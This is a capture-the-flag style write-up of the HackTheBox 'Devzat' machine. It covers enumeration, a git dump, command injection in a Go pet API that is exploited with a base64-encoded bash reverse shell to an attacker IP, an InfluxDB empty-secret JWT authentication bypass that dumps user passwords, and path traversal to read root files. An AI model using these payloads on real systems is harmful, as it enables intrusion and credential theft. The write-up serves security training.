Home Devzat writeup
Post
Cancel
Preview Image

Devzat writeup

Summary

This box focuses a lot on enumeration and source code review. We can abuse an api to achieve remote code execiton on the target system. We can then pivot to a different user via an Authentication Bypass in the influxdb service. Source code for a development instance of the devzat chat service can then be accessed which contains a password that allows us to read any file on the system.

Foothold

Let’s start out with a doing a port scan with nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# Nmap 7.92 scan initiated Tue Jan 18 17:38:37 2022 as: nmap -sC -sV -p- -o nmap/full.txt 10.129.164.185
Nmap scan report for devzat.htb (10.129.164.185)
Host is up (0.043s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c2:5f:fb:de:32:ff:44:bf:08:f5:ca:49:d4:42:1a:06 (RSA)
|   256 bc:cd:e8:ee:0a:a9:15:76:52:bc:19:a4:a3:b2:ba:ff (ECDSA)
|_  256 62:ef:72:52:4f:19:53:8b:f2:9b:be:46:88:4b:c3:d0 (ED25519)
80/tcp   open  http    Apache httpd 2.4.41
|_http-title: devzat - where the devs at
|_http-server-header: Apache/2.4.41 (Ubuntu)
8000/tcp open  ssh     (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-Go
| ssh-hostkey: 
|_  3072 6a:ee:db:90:a6:10:30:9f:94:ff:bf:61:95:2a:20:63 (RSA)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.92%I=7%D=1/18%Time=61E74198%P=x86_64-pc-linux-gnu%r(NU
SF:LL,C,"SSH-2\.0-Go\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jan 18 17:39:52 2022 -- 1 IP address (1 host up) scanned in 75.62 seconds

As can be seen 2 ports, 22 and 8000 are hosting ssh services. Port 80 is hosting a http service. If we start out by visiting the web application hosted on port 80 we get greeted with the following: The devzat welcome page

We should also enumerate vhosts with gobuster:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(bitis㉿workstation)-[~/htb/Machines/devzat]
└─$ gobuster vhost -u devzat.htb -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -r
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://devzat.htb
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:     /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
2022/06/21 20:57:52 Starting gobuster in VHOST enumeration mode
===============================================================
Found: pets.devzat.htb (Status: 200) [Size: 510]

Adding pets.devzat.htb to our /etc/hosts file, we can now visit the site:

The pets.devzat.htb welcome page

We can now scan for directories via gobuster on the pets page (Note that we are blacklisting the 200 status code since all directories will give this status):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(bitis㉿workstation)-[~/htb/Machines/devzat]
└─$ gobuster dir -u http://pets.devzat.htb -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt -b 200 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://pets.devzat.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes:   200
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/06/21 21:13:15 Starting gobuster in directory enumeration mode
===============================================================
/css                  (Status: 301) [Size: 40] [--> /css/]
/build                (Status: 301) [Size: 42] [--> /build/]
/server-status        (Status: 403) [Size: 280]             
/.git                 (Status: 301) [Size: 41] [--> /.git/] 
                                                            
===============================================================
2022/06/21 21:17:08 Finished
===============================================================

We found a .git directory. We can use the git-dumper tool to download as much as possible from the directory.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(bitis㉿workstation)-[~/htb/Machines/devzat]
└─$ git-dumper http://pets.devzat.htb/.git/ out  
[-] Testing http://pets.devzat.htb/.git/HEAD [200]
[-] Testing http://pets.devzat.htb/.git/ [200]
[-] Fetching .git recursively
...
[-] Fetching http://pets.devzat.htb/.git/hooks/update.sample [200]
[-] Fetching http://pets.devzat.htb/.git/logs/refs/heads/master [200]
[-] Running git checkout .
Updated 39 paths from the index
...
──(bitis㉿workstation)-[~/htb/Machines/devzat/out]
└─$ ls    
characteristics  go.mod  go.sum  main.go  petshop  start.sh  static

Reading main.go, we discover an interesting function named loadcharacter:

1
2
3
4
5
6
7
8
func loadCharacter(species string) string {
  cmd := exec.Command("sh", "-c", "cat characteristics/"+species)
  stdoutStderr, err := cmd.CombinedOutput()
  if err != nil {
    return err.Error()
  }
  return string(stdoutStderr)
}

Ìt takes a string as argument and then inserts it into a sh command without any sanitization. Reading on, we find the function calling this one:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
func addPet(w http.ResponseWriter, r *http.Request) {
  reqBody, _ := ioutil.ReadAll(r.Body)
  var addPet Pet
  err := json.Unmarshal(reqBody, &addPet)
  if err != nil {
    e := fmt.Sprintf("There has been an error: %+v", err)
    http.Error(w, e, http.StatusBadRequest)
    return
  }

  addPet.Characteristics = loadCharacter(addPet.Species)
  Pets = append(Pets, addPet)

  w.WriteHeader(http.StatusOK)
  fmt.Fprint(w, "Pet was added successfully")
}

The addPet function calls the loadCharacter function. This function, in turn, is called by the petHandler function which handles calls to the pets API located at the /api/pet endpoint. To exploit this we simply need to do a post-request to this endpoint containing a json object describing a pet where the species field contains our injected commands. We can use curl to interact with the API:

1
2
┌──(bitis㉿workstation)-[~/htb/Machines/devzat/out]
└─$ curl -X POST -d '{"name": "Cicada","species": "cat; echo L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy4xODIvMTMzNyAwPiYx | base64 -d | bash", "characteristics": "cat"}' -H "'Content-Type': 'application/json'" "http://pets.devzat.htb/api/pet"

This gives us a reverse shell and access to the patric user.

1
2
3
4
5
6
7
8
┌──(bitis㉿workstation)-[~/htb/Machines/devzat]
└─$ nc -lvnp 1337             
listening on [any] 1337 ...
connect to [10.10.17.182] from (UNKNOWN) [10.129.136.15] 50534
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(patrick) gid=1000(patrick) groups=1000(patrick)
$ 

An ssh key belonging to patric can be found in his home directory, and can be used to get a more stable shell.

Pivot

Listing the contents of the /home direcotry list another user, which means w emost likely have to pivot to this user before rooting the box.

1
2
atrick@devzat:/home$ ls
catherine  patrick

If we go back to the devzat site, we see the following: Instructions on joining the devzat chat Joining the chat as patrick lets us see his chat with the admin:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
patrick@devzat:/home$ ssh -l patrick -p 8000 localhost
The authenticity of host '[localhost]:8000 ([127.0.0.1]:8000)' can't be established.
RSA key fingerprint is SHA256:f8dMo2xczXRRA43d9weJ7ReJdZqiCxw5vP7XqBaZutI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[localhost]:8000' (RSA) to the list of known hosts.
admin: Hey patrick, you there?
patrick: Sure, shoot boss!
admin: So I setup the influxdb for you as we discussed earlier in business meeting.
patrick: Cool 👍
admin: Be sure to check it out and see if it works for you, will ya?
patrick: Yes, sure. Am on it!
devbot: admin has left the chat
Welcome to the chat. There are no more users
devbot: patrick has joined the chat
patrick: 

As we can see, the machine is hosting an influxdb. Reading about influxdb, the default port seems to be 8086.

1
2
3
4
5
6
7
8
9
10
11
12
patrick@devzat:/home$ ss -tulnp
Netid                State                 Recv-Q                Send-Q                                Local Address:Port                                 Peer Address:Port                Process                                          
udp                  UNCONN                0                     0                                     127.0.0.53%lo:53                                        0.0.0.0:*                                                                    
udp                  UNCONN                0                     0                                           0.0.0.0:68                                        0.0.0.0:*                                                                    
tcp                  LISTEN                0                     4096                                      127.0.0.1:5000                                      0.0.0.0:*                    users:(("petshop",pid=947,fd=3))                
tcp                  LISTEN                0                     4096                                  127.0.0.53%lo:53                                        0.0.0.0:*                                                                    
tcp                  LISTEN                0                     4096                                      127.0.0.1:8086                                      0.0.0.0:*                                                                    
tcp                  LISTEN                0                     128                                         0.0.0.0:22                                        0.0.0.0:*                                                                    
tcp                  LISTEN                0                     4096                                      127.0.0.1:8443                                      0.0.0.0:*                                                                    
tcp                  LISTEN                0                     511                                               *:80                                              *:*                                                                    
tcp                  LISTEN                0                     128                                            [::]:22                                           [::]:*                                                                    
tcp                  LISTEN                0                     4096                                              *:8000                                            *:*                    users:(("devchat",pid=948,fd=7))                

As we can see port 8086 is indeed in use. Searching for vulnerabilities in influxdb returns an Authentication bypass

We can create a valid jwt on https://jwt.io with an empty secret. JWT generation through jwt.io

We can then enumerate the database and dump the user table:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
patrick@devzat:/home$ curl -G $url --data-urlencode "db=devzat" --data-urlencode "q=SELECT * FROM \"user\"" -H "Authorization: Bearer $token"
{
    "results": [
        {
            "statement_id": 0,
            "series": [
                {
                    "name": "user",
                    "columns": [
                        "time",
                        "enabled",
                        "password",
                        "username"
                    ],
                    "values": [
                        [
                            "2021-06-22T20:04:16.313965493Z",
                            false,
                            "WillyWonka2021",
                            "wilhelm"
                        ],
                        [
                            "2021-06-22T20:04:16.320782034Z",
                            true,
                            "woBeeYareedahc7Oogeephies7Aiseci",
                            "catherine"
                        ],
                        [
                            "2021-06-22T20:04:16.996682002Z",
                            true,
                            "RoyalQueenBee$",
                            "charles"
                        ]
                    ]
                }
            ]
        }
    ]
}
patrick@devzat:/home$ 

We now have the credentials for the catherine user: catherine:woBeeYareedahc7Oogeephies7Aiseci.

Privilege escalation

After switching to the catherine user we should start trying to escalate our privileges. We once again log in to the chat service on port 8000.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
catherine@devzat:~$ ssh -l catherine -p 8000 localhost
The authenticity of host '[localhost]:8000 ([127.0.0.1]:8000)' can't be established.
RSA key fingerprint is SHA256:f8dMo2xczXRRA43d9weJ7ReJdZqiCxw5vP7XqBaZutI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[localhost]:8000' (RSA) to the list of known hosts.
patrick: Hey Catherine, glad you came.
catherine: Hey bud, what are you up to?
patrick: Remember the cool new feature we talked about the other day?
catherine: Sure
patrick: I implemented it. If you want to check it out you could connect to the local dev instance on port 8443.
catherine: Kinda busy right now 👔
patrick: That's perfectly fine 👍  You'll need a password I gave you last time.
catherine: k
patrick: I left the source for your review in backups.
catherine: Fine. As soon as the boss let me off the leash I will check it out.
patrick: Cool. I am very curious what you think of it. See ya!
devbot: patrick has left the chat
Welcome to the chat. There are no more users
devbot: catherine has joined the chat
catherine: 

As we can see, there is a local dev instance of the chat service on port 8443. We can also see that we should have access to source code for the instance in our backups. Let’s take a look at the /var/backups folder, which contains a zip archive with the source code. Looking at the commands.go file, we see the following code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
func fileCommand(u *user, args []string) {
        if len(args) < 1 {
                u.system("Please provide file to print and the password")
                return
        }

        if len(args) < 2 {
                u.system("You need to provide the correct password to use this function")
                return
        }

        path := args[0]
        pass := args[1]

        // Check my secure password
        if pass != "CeilingCatStillAThingIn2021?" {
                u.system("You did provide the wrong password")
                return
        }

        // Get CWD
        cwd, err := os.Getwd()
        if err != nil {
                u.system(err.Error())
        }

        // Construct path to print
        printPath := filepath.Join(cwd, path)

        // Check if file exists
        if _, err := os.Stat(printPath); err == nil {
                // exists, print
                file, err := os.Open(printPath)
                if err != nil {
                        u.system(fmt.Sprintf("Something went wrong opening the file: %+v", err.Error()))
                        return
                }
                defer file.Close()

                scanner := bufio.NewScanner(file)
                for scanner.Scan() {
                        u.system(scanner.Text())
                }

                if err := scanner.Err(); err != nil {
                        u.system(fmt.Sprintf("Something went wrong printing the file: %+v", err.Error()))
                }

                return

        } else if os.IsNotExist(err) {
                // does not exist, print error
                u.system(fmt.Sprintf("The requested file @ %+v does not exist!", printPath))
                return
        }
        // bokred?
        u.system("Something went badly wrong.")
}

It seemingly just prints whatever file we want into the chat. Let’s take a look:

1
2
3
4
5
6
7
8
devbot: catherine has joined the chat
catherine: /file
[SYSTEM] Please provide file to print and the password
catherine: /file /root/root.txt CeilingCatStillAThingIn2021?
[SYSTEM] The requested file @ /root/devzat/root/root.txt does not exist!
catherine: /file ../../../../../root/root.txt CeilingCatStillAThingIn2021?
[SYSTEM] 0ad7041bda0cbe6977dd05c16e25a324
catherine: 

We have the contents of root.txt. Obviously we could also have printed the ssh key of the root user, however this will do. Rooted!

This post is licensed under CC BY 4.0 by the author.